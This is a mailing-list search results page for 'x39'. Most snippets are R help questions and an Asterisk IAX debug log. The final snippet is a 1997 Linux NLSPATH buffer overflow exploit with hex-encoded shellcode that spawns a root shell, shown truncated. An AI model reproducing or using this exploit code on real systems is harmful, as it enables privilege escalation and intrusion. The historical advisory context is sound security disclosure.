Displaying 20 results from an estimated 30 matches for "x39".
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39
2012 Jul 15
4
extracting rows and columns from a big matrix
...ign at the end of the code, pointing out incomplete command, so it is not working:
m<-read.table("C:/backup/symmetrical.csv")
n<-subset(m, select=c("X1", "X7", "X12", X15", "X22", "X26", "X31", "X34", "X39", "X44", "x51", "X58)
Therefore, I have no tried with row names yet.
Any suggestions? Sorry for the inconvenience. I have read some information about this but always have the same problem with "+" and I do not have any idea to follow.
Best,
AJ...
2011 Sep 22
3
How make a x,y dataset from a formula based entry
Hello all,
So I am using the (formula entry) method for randomForests:
randomForest(y~x1+x2+...+x39+x40,data=xxx,...) but the issue is that some of
the items in that package dont take a formula entry - you have to explicitly
state the y and x vector:
randomForest(x=xxx[,c('x1','x2',...,'x40')],y=xxx[,'y'],...)
Now my question is whether there is a function/way to...
2011 Aug 20
2
a Question regarding glm for linear regression
...features, and when I fit a model using the following formula,?
glmfit = glm(y ~ x1 + x2 + x3 + x4 + x5 + x6 + x7 + x8 + x9 + x10 + x11 + x12 + x13 + x14 + x15 + x16 + x17 + x18 + x19 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x27 + x28 + x29 + x30 + x31 + x32 + x33 + x34 + x35 + x36 + x37 + x38 + x39 + x40 + x41 + x42 + x43 + x44 + x45 + x46 + x47 + x48 + x49 + x50 + x51 + x52 + x53 + x54 + x55 + x56 + x57 + x58 + x59 + x60 + x61 + x62 + x63 + x64 + x65 + x66 + x67 + x68 + x69 + x70 + x71 + x72 + x73 + x74 + x75 + x76 + x77 + x78 + x79 + x80)
it gives me an error "Error in eval(expr, envir...
2018 Mar 14
2
truncation/rounding bug with write.csv
...quot;,"X21","X22","X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","...
2015 May 13
1
registering IAX with Teliax
...NAME : gswoods
REFRESH : 60
CALLTOKEN : 51 bytes
Rx-Frame Retry[ No] -- OSeqno: 000 ISeqno: 001 Type: IAX Subclass:
REGAUTH
Timestamp: 00019ms SCall: 03026 DCall: 03639 [63.211.239.14:4569]
AUTHMETHODS : 3
CHALLENGE : \x31\x33\x34\x35\x38\x37\x34\x39\x31
USERNAME : gswoods
Tx-Frame Retry[000] -- OSeqno: 001 ISeqno: 001 Type: IAX Subclass:
REGREQ
Timestamp: 00115ms SCall: 03639 DCall: 03026 [63.211.239.14:4569]
USERNAME : gswoods
REFRESH : 60
MD5 RESULT : 74f42b964023f9caf21ad341b0f94bf7
Rx-Frame...
2004 May 11
1
calling data frames
...s
Guildas<-data.frame(cbind(t(blumenau[2:50])))
Guilda1<-cbind(X27,X48)
Guilda2<-cbind(X5,X17,X19,X20,X21,X24,X25,X26,X40,X41,X77)
Guilda3<-cbind(X22,X28,X69)
Guilda4<-cbind(X29,X30,X31,X32,X33,X34,X35,X36,X37,X78)
Guilda5<-cbind(X3,X8,X18,X23,X63,X82,X83)
Guilda6<-cbind(X6,X38,X39,X44,X45,X46,X47,X49,X50,X51,X52,X53,X54,X55,X56,X57,X58,X59,X60,X61,X62,X84)
Guilda7<-cbind(X1,X2,X42,X43,X64,X65,X66,X67,X68,X79,X80)
Guilda8<-cbind(X7,X15,X16,X70,X71,X72,X73,X74,X75,X76)
Guilda9<-cbind(X4,X9,X10,X11,X12,X13,X14,X81)
Resul.Guilda1<-sum(apply(Guilda1,2,sum))
Resul.Guil...
2018 Mar 14
2
truncation/rounding bug with write.csv
...X21"
> ,"X22","X23","X24","X25","X26","X27","X28","X29","X30","X31"
> ,"X32","X33","X34","X35","X36","X37","X38","X39","X40","X41"
> ,"X42","X43","X44","X45","X46","X47","X48","X49","X50","X51"
> ,"X52","X53","X54","X55","X56","X57...
2010 May 11
1
Help with Names
...uot; "X22" "X23" "X24" "X25" "X26" "X27" "X28" "X29" "X30"
"X31" "X32" "X33" "X34" "X35" "X36" "X37" "X38" "X39" "X40"
[41] "X41" "X42" "X43" "X44" "X45" "X46" "X47" "X48" "X49" "X50"
"X51" "X52" "X53" "X54" "X55" "X56"...
2018 Mar 14
2
truncation/rounding bug with write.csv
Hello, I have looked on https://www.r-project.org/bugs.html , but it seems
that this is the only way to do it.
The issue is that the precision used by write.csv is on consistant for big
files. See the following code:
First I create a large dataframe filled with random uniform values. Then I
write it to .csv and print out the first and last lines.
df = data.frame(replicate(100, runif(1000000,
2013 Apr 12
2
model frame and formula mismatch in model.matrix()
Hello everyone,
I am trying to fit the following model
All X. variables are continuous, while the conditions are categoricals.
model <- lm(X2
+X3+X4+X5+X6+X7+X8+X9+X10+X11+X12+X13+X14+X15+X16+X17+X18+X19+X20+X21+X22+X23+X24+X25+X26+X27+X28+X29+X30+X31+X32+X33+X34+X35+X36+X37+X38+X39+X40+X41+X42+X43+X44+X45+X46+X47+X48+X49+X50+X51+X52+X53+X54+X55+X56+X57+X58+X59+X60+X61+X62+X63+X64+X65+X66+X67+X68+X69+X70+X71+X72+X73+X74+X75+X76+X77+X78+X79+X80+X81+X82+X83+X84+X85+X86+X87+X88+X89+X90+X91+X92+X93+X94+X95+X96+X97+X98+X99+X100+X101+X102+X103+X104+X105+X106+X107+X108+X109+X110+X111...
2018 Mar 14
0
truncation/rounding bug with write.csv
...quot;,"X21","X22","X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","...
2009 Jun 24
2
change the height or scale of the y axis
..."x21","x22","x23","x24","x25","x26","x27","x28","x29","x30",
"x31","x32","x33","x34","x35","x36","x37","x38","x39","x40",
"x41","x42","x43","x44","x45","x46","x47","x48","x49","x50",
"x51","x52","x53","x54","x55","x56","x57...
2012 May 25
2
Query about creating time sequences
...ot;, "X22", "X23", "X24", "X25",
"X26", "X27", "X28", "X29", "X30", "X31", "X32", "X33", "X34",
"X35", "X36", "X37", "X38", "X39", "X40", "X41", "X42", "X43",
"X44", "X45", "X46", "X47", "X48", "X49", "X50", "X51", "X52",
"X53", "X54", "X55", "X56", &qu...
2018 Mar 14
0
truncation/rounding bug with write.csv
...quot;,"X21","X22","X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","...
2010 Mar 09
0
error with adaboost: replacement has 186 rows, data has 62
...X70 "CT" "AA" "CC"
X2 "CC" "AA" "CT"
X6 "CT" "AA" "CT"
X10 "CC" "AA" "CC"
X14 "TT" "AA" "TT"
X39 "TT" "GG" "CT"
X44 "CT" "AG" "CT"
X49 "TT" "AG" "TT"
X51 "TT" "AA" "CT"
X67 "CT" "AA" "CC"
X12...
2009 Aug 24
0
R survival package error message - bug?!
...ion when calling
coxph with following formula Surv(time = futime,
event = fustat, type = "right") ~ ridge(X1, X2,
X3, X4, X5, X6, X7, X8, X9, X10, X11, X12, X13,
X14, X15, X16, X17, X18, X19, X20, X21, X22, X23,
X24, X25, X26, X27, X28, X29, X30, X31, X32, X33,
X34, X35, X36, X37, X38, X39, X40, X41, X42, X43,
X44, X45, X46, X47, X48, X49, X50, X51, X52, X53,
X54, X55, X56, X57, X58, X59, X60, X61, X62, X63,
X64, X65, X66, X67, X68, X69, X70, X71, X72, X73,
X74, X75, X76, X77, X78, X79, X80, X81, X82, X83,
X84, X85, X86, X87, X88, X89, X90, X91, X92, X93,
X94, X95, X96, X97, X98,...
2013 Apr 05
1
Accessing examplars in apcluster (apcluster package)
Hi,
I was wondering how it was possible to access the actual cluster exemplars
from the APResult class. Currently it only spits it out onto the terminal
if you type the object but there is no other way to see which one is the
examplar.
Would appreciate any help.
Thanks,
Sachin
[[alternative HTML version deleted]]
2011 Jun 01
1
as.character limits length of result for formula
If you want a character representation of a long formula (or
a formula with long names), you can use:
as.character(my.formula)
However restriction on length of an as.character result
returns only the beginning of a long formula, and without comment.
In most cases, the following expression provides the complete
result:
paste(my.formula[[2]], " ~ ",
2004 Oct 28
0
sem : Error in solve.default(C[ind, ind]) : Lapack routine dgesv: system is exactly singular
...> M_20045_P', 'x34', 'NA',
'M_20048_36 <-> M_20048_36', 'x36', 'NA',
'M_20048_P <-> M_20048_P', 'x37', 'NA',
'M_20113 <-> M_20113', 'x38', 'NA',
'M_20199 <-> M_20199', 'x39', 'NA',
'M_20209_26_5569 <-> M_20209_26_5569', 'x40', 'NA',
'M_20215 <-> M_20215', 'x41', 'NA',
'M_20225 <-> M_20225', 'x42', 'NA',
'M_20230 <-> M_20230', 'x43', 'NA',...
1997 Feb 14
0
Linux NLSPATH buffer overflow (fwd)
...re 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 2048
char buffer[bufsize];
main() {
int i;
for (i =...